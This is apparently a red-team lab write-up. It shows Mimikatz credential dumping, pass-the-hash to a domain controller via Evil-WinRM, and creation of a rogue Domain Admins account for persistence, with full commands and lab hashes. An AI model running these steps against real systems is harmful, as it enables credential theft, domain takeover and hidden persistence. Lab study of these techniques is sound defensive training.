FINAL – Red PATH

Target Address: 172.26.14.94 (Compromised Account), 172.26.4.145 (Domain Server),

Password: Winter2022 (brailee.ogden), laser.service(Password Compromised)

OS: Windows Server 2016 (Domain Server), Windows 10 (Compromised System)

Target Account: brailee.ogden (Compromised User), laser.service (Domain Admin Member)

Malicious Account Created: francis.Net

Tools: Evil-Winrm, Mimikatz.

Explains: We are going to use mimikatz. Mimikatz is an open source to target vulnerabilities of Microsoft Windows the authentication protocols.  It is credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (MITRE ATTACK FRAMEWORK)

By using the tool and deriving the credential, we can escalate to higher privilege account, and establish multiple persistence attack, and C2 through remote desktop.

In the previous of Weaponizing Active Directory, we have analyzed the target’s Active directory and its users. We found [laser.service@windomain.local](mailto:laser.service@windomain.local) is part of the Domain Admins, and it is the shortest path to get into domain admin. Hence. Laser.service user is the user we are targeting.

Graphical user interface, application

Description automatically generated

Find mimikazt in Kali Linux, you can download from Github. In this case mimikatz is inside of kali by default. Enter mimikatz and it shows the directories and path of mimikatz.exe.

Mimikatz.exe is inside of /usr/share/windows-resources/mimikatz/Win32/ directory

We will use the path of the directory to upload mimikatz through Evil-winrm

Graphical user interface, text

Description automatically generated

I use evilwin command which is a alias to access faster the brailee.ogden user. The target would be brailee.oden.

Execute Invoke-Snow.ps1 to bypass windows limitation in the powershell, and start uploading. I upload the mimikatz.exe file and rename to fmimi.exe.

Text

Description automatically generated

Execute the command below, this command is to run the mimikatz.exe program, and acquire the privilege to display the log and credentials.

.\fmimi.exe "privilege::debug" "log passthehash.log" "sekurlsa::logonpasswords" exit

As it shows: Privilege ‘20’ ok the command line is execute successfully.

Text

Description automatically generated

As we scroll down, we find the hash of laser.service user shows below.

Username: laser.service

Domain: windomain

LM: NA

NT: e8a24867453953b35cde3ddaad655223

SHA1: 0e67038f0ba5332d90f4156315e9d33eeff3eb72

DPAPI: 10b9a14c6b02524a9ae572e16247695c

NT: e8a24867453953b35cde3ddaad655223 is the hash we are going to access the privilege account (laser.service)

Text

Description automatically generated

Execute the command below to confirm the hash can match with user and domain

.\fmimi.exe "sekurlsa::pth /user:laser.service /domain:windomain.local /ntlm:e8a24867453953b35cde3ddaad655223" exit

It shows that Oks below meaning it execute and match successfully.

Graphical user interface, text

Description automatically generated

Putting the hash instead of the password can bypass the password. And we are targeting the Domain Controller address 172.26.4.145.

Executing the command, and I successfully gain access domain admin privilages.

evil-winrm -u laser.service -H e8a24867453953b35cde3ddaad655223 -i 172.26.4.145 -s ~/ensign/Red/evil-winrm/scripts

Text

Description automatically generated

After gaining access to domain controller, we can start creating user account and add it to domain server.

I create francis.Net and add password.

And I add francis.Net to localgroup Administrators and add to domain adminstrators

Text

Description automatically generated

Graphical user interface, text

Description automatically generated

Use “Net group” to see what Groups are there in the Domain Netowrk. So Domain Admins is found.

Text

Description automatically generated

So we are adding francis.Net the user created to “Domain Admins” group .

Graphical user interface, text

Description automatically generated

Use Remote Desktop (Microsoft Remote Desktop app on Mac) to access the Domain Admins’ account I created. And Put the account credentials and access the francis.Net to perform Command and Control remotely by using the account I created.

A screenshot of a computer

Description automatically generated with medium confidence

After successfully login, on cmd.exe, execute the “whoami /groups” to verified the groups account part of. As it shows, the account is part of Administrators Group, and windomain\Domain Admins Group.

